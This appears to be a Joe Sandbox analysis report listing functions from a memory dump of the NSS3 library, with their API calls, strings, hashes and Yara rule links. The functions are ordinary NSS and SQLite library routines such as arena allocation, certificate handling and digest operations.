Opcode Fuzzy Hash: f6f364c973b5416c8a86b0704335ab683cfa7295264460c564a9469ca6453fb5
Instruction Fuzzy Hash: A4B170B0F5464ACFCB44CF5CD241AAABBF0FB1E304B158159D509AB322E731AB85CB95

Function 6CDF4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDF4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDF51BB

Strings

misuse, xrefs: 6CDF51AF
%s at line %d of [%.10s], xrefs: 6CDF51B4
unable to delete/modify user-function due to active statements, xrefs: 6CDF51DF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDF51A5

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 8b7bc79e6a88f05fead4f7a0b20117bbc15075803c99e05dc121d9acd8a50aac
Instruction ID: ed5820ba319fd77e7ab90237fb3ea18a32b70d0b3de5352fc82b9ea4767f3300
Opcode Fuzzy Hash: 8b7bc79e6a88f05fead4f7a0b20117bbc15075803c99e05dc121d9acd8a50aac
Instruction Fuzzy Hash: E971BF71A0420ADFEB00CF15CD80B9A77B5BF49318F168525FD299BB61E331E952CBA1

Function 6CE62D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CE62D69

Strings

winUnmapfile1, xrefs: 6CE62F55
winSeekFile, xrefs: 6CE62E9C
winTruncate2, xrefs: 6CE62EF8
winUnmapfile2, xrefs: 6CE62F7F
winTruncate1, xrefs: 6CE62EBE

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 62bf1fc8daf8c53b2d5e95b9db0ef235135a2a24c3ac187592af26017a736e36
Instruction ID: eb0ecbc57e05e1f76b36f1dfae17fac330da52a373995333a14bd53afe50673a
Opcode Fuzzy Hash: 62bf1fc8daf8c53b2d5e95b9db0ef235135a2a24c3ac187592af26017a736e36
Instruction Fuzzy Hash: 5B61B171B502059FDB44CF65DC88BAA7BB1FF49314F208538E915ABB80DB31AD06CB91

Function 6CE9DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE9DF37
EnterCriticalSection.KERNEL32(?), ref: 6CE9DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE9DF96
PR_SetError.NSS3(00000000,00000000), ref: 6CE9E02B
PR_Unlock.NSS3(?), ref: 6CE9E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CE9E090
PR_Unlock.NSS3(?), ref: 6CE9E0AF

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 5bc6e8cd5e39f2394865f5dfc77965b41eb1403781ad45506404e5ad9479db89
Instruction ID: 614eda3a3c7e364ee5c0bdb999a9c883fd1d7ae3a25965434f34bcdfaaf9c42c
Opcode Fuzzy Hash: 5bc6e8cd5e39f2394865f5dfc77965b41eb1403781ad45506404e5ad9479db89
Instruction Fuzzy Hash: B751BE75A00A00DFEB209F28D845B6673B5FF45318F304928EA5A47F91D736E949CBD2

Function 6CE9BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE9BD1E

Part of subcall function 6CE72F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE72F0A
Part of subcall function 6CE72F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE72F1D

Part of subcall function 6CEB57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE7B41E,00000000,00000000,?,00000000,?,6CE7B41E,00000000,00000000,00000001,?), ref: 6CEB57E0
Part of subcall function 6CEB57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CEB5843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE9BD8C

Part of subcall function 6CECFAB0: free.MOZGLUE(?,-00000001,?,?,6CE6F673,00000000,00000000), ref: 6CECFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CE9BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CE9BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE9BE3A

Part of subcall function 6CE73E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE73EC2
Part of subcall function 6CE73E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE73ED6
Part of subcall function 6CE73E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE73EEE
Part of subcall function 6CE73E60: PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CE73F02
Part of subcall function 6CE73E60: PL_FreeArenaPool.NSS3 ref: 6CE73F14
Part of subcall function 6CE73E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE73F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE9BE52

Part of subcall function 6CE72E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE72CDA,?,00000000), ref: 6CE72E1E
Part of subcall function 6CE72E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE72E33
Part of subcall function 6CE72E00: TlsGetValue.KERNEL32 ref: 6CE72E4E
Part of subcall function 6CE72E00: EnterCriticalSection.KERNEL32(?), ref: 6CE72E5E
Part of subcall function 6CE72E00: PL_HashTableLookup.NSS3(?), ref: 6CE72E71
Part of subcall function 6CE72E00: PL_HashTableRemove.NSS3(?), ref: 6CE72E84
Part of subcall function 6CE72E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE72E96
Part of subcall function 6CE72E00: PR_Unlock.NSS3 ref: 6CE72EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE9BE61

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 506859ffb88270675b1b5ff93a8f007dbcb3af44742f594723bec9dead409a1e
Instruction ID: 57a2679202d6b383fb78da89291817452d0ee3ae88d246ed10c76ecee4992cae
Opcode Fuzzy Hash: 506859ffb88270675b1b5ff93a8f007dbcb3af44742f594723bec9dead409a1e
Instruction Fuzzy Hash: 1041B1B6E00210AFD720DF28DD80B6AB7F8EB45718F21416CE9199B751E735ED14CBA2

Function 6CEBAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CEBAB3E,?,?,?), ref: 6CEBAC35

Part of subcall function 6CE9CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CE9CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CEBAB3E,?,?,?), ref: 6CEBAC55

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CEBAB3E,?,?), ref: 6CEBAC70

Part of subcall function 6CE9E300: TlsGetValue.KERNEL32 ref: 6CE9E33C
Part of subcall function 6CE9E300: EnterCriticalSection.KERNEL32(?), ref: 6CE9E350
Part of subcall function 6CE9E300: PR_Unlock.NSS3(?), ref: 6CE9E5BC
Part of subcall function 6CE9E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CE9E5CA
Part of subcall function 6CE9E300: TlsGetValue.KERNEL32 ref: 6CE9E5F2
Part of subcall function 6CE9E300: EnterCriticalSection.KERNEL32(?), ref: 6CE9E606
Part of subcall function 6CE9E300: PORT_Alloc_Util.NSS3(?), ref: 6CE9E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CEBAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CEBAB3E), ref: 6CEBACD7
PORT_Alloc_Util.NSS3(?), ref: 6CEBAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CEBAD2B

Part of subcall function 6CE9F360: TlsGetValue.KERNEL32(00000000,?,6CEBA904,?), ref: 6CE9F38B
Part of subcall function 6CE9F360: EnterCriticalSection.KERNEL32(?,?,?,6CEBA904,?), ref: 6CE9F3A0
Part of subcall function 6CE9F360: PR_Unlock.NSS3(?,?,?,?,6CEBA904,?), ref: 6CE9F3D3

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: d6801eb36339afcffb679aae6fe220892176b401637bea540f557576a020af6d
Instruction ID: 44d5f71d8159f4980aa553f1aeec359f2dd94e491e679dda86dd1f14e81de812
Opcode Fuzzy Hash: d6801eb36339afcffb679aae6fe220892176b401637bea540f557576a020af6d
Instruction Fuzzy Hash: 543128B1E406055FEF009E658D409BF7776AF8432CB298128E815BB740EB31ED058BA1

Function 6CE98C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE98C7C

Part of subcall function 6CF39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DC6
Part of subcall function 6CF39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DD1
Part of subcall function 6CF39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF39DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE98CB0
TlsGetValue.KERNEL32 ref: 6CE98CD1
EnterCriticalSection.KERNEL32(?), ref: 6CE98CE5
PR_Unlock.NSS3(?), ref: 6CE98D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CE98D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE98D93

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 614e4086d5f2e15476d7cd0ac710967128ae107a039a588384512ed65ec1054b
Instruction ID: 6df91e31d8559522f8cd1ae56cec9d8745ee5c9e3624b525a67f60dc8bac5900
Opcode Fuzzy Hash: 614e4086d5f2e15476d7cd0ac710967128ae107a039a588384512ed65ec1054b
Instruction Fuzzy Hash: 2A312371E01201AFEB10AF68DC447AAB7B8BF55318F34013AEA1967BB0D771A924C7C1

Function 6CED9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CED9C5B), ref: 6CED9D82

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CED9C5B), ref: 6CED9DA9

Part of subcall function 6CED1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?,00000000), ref: 6CED136A
Part of subcall function 6CED1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?,00000000), ref: 6CED137E
Part of subcall function 6CED1340: PL_ArenaGrow.NSS3(?,6CE6F599,?,00000000,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?), ref: 6CED13CF
Part of subcall function 6CED1340: PR_Unlock.NSS3(?,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?,00000000), ref: 6CED145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CED9C5B), ref: 6CED9DCE

Part of subcall function 6CED1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?,00000000), ref: 6CED13F0
Part of subcall function 6CED1340: PL_ArenaGrow.NSS3(?,6CE6F599,?,?,?,00000000,00000000,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CED1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CED9C5B), ref: 6CED9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CED9C5B), ref: 6CED9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CED9C5B), ref: 6CED9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CED9C5B), ref: 6CED9E91

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

Part of subcall function 6CED1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CECFAAB,00000000), ref: 6CED157E
Part of subcall function 6CED1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CECFAAB,00000000), ref: 6CED1592
Part of subcall function 6CED1560: memset.VCRUNTIME140(?,00000000,?), ref: 6CED1600
Part of subcall function 6CED1560: PL_ArenaRelease.NSS3(?,?), ref: 6CED1620
Part of subcall function 6CED1560: PR_Unlock.NSS3(?), ref: 6CED1639

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: db5dd68dc189b39bef3f089b69c76b2cdd0ee0089497f6e771ffa0d6e3c2835e
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 99417EB4601606AFE7409F55DC50B92BBB1FF45358F258128D8184BFA1EB76F836CB90

Function 6CE9DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CE9DDEC

Part of subcall function 6CED0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED08B4

PK11_DigestBegin.NSS3(00000000), ref: 6CE9DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CE9DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CE9DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CE9DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CE9DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE9DECC

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 10e8d447c05d3a648c73f87c02ac37c24cb9a9c8e3da5b3d7981c2be50cc5197
Instruction ID: 7053df434c397a71ad6a079a6c854893e5d42438845c75ad04cc639eaf6a0fc4
Opcode Fuzzy Hash: 10e8d447c05d3a648c73f87c02ac37c24cb9a9c8e3da5b3d7981c2be50cc5197
Instruction Fuzzy Hash: 8E31E9B6E002246BDB00AF28AD41BBB76B89F5560CF250139ED09A7701F735DA14C6E2

Function 6CE77E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE77E48

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CE77E5B

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE77E7B

Part of subcall function 6CECFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEC8D2D,?,00000000,?), ref: 6CECFB85
Part of subcall function 6CECFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CECFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF9925C,?), ref: 6CE77E92

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE77EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE77ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CE77EFA

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: bd600941107ffc4a7bf911b845e5b8e2676f3c9ca6a85fb28a6a7e46fdfc44ae
Instruction ID: 50f6bcf8158176cf5ba0dc058efc609a324d3e8a81d3f31cf2cfcd740f7efafb
Opcode Fuzzy Hash: bd600941107ffc4a7bf911b845e5b8e2676f3c9ca6a85fb28a6a7e46fdfc44ae
Instruction Fuzzy Hash: B33190B2E002119BEB219A659D41B6B77B8EF4425CF2A4828DC59EBB01E731FC04C7B1

Function 6CECDC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CECD9E4,00000000), ref: 6CECDC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CECD9E4,00000000), ref: 6CECDC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CECD9E4,00000000), ref: 6CECDC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CECDC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CECDCAD

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: d7fa4c90f5aba01500e273a9a9a99f8e414c3da7a219d5708afb624ff646572a
Instruction ID: f00733eb3952931bafd6acf064810fabc9bcfeb31db10f148c13fd7db8c82cd1
Opcode Fuzzy Hash: d7fa4c90f5aba01500e273a9a9a99f8e414c3da7a219d5708afb624ff646572a
Instruction Fuzzy Hash: 2C3192B9A402009FD710CF5DD980F56B7F8AF05358F248029E968CBB00E772EA45CB92

Function 6CE92E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CE8E728,?,00000038,?,?,00000000), ref: 6CE92E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE92E66
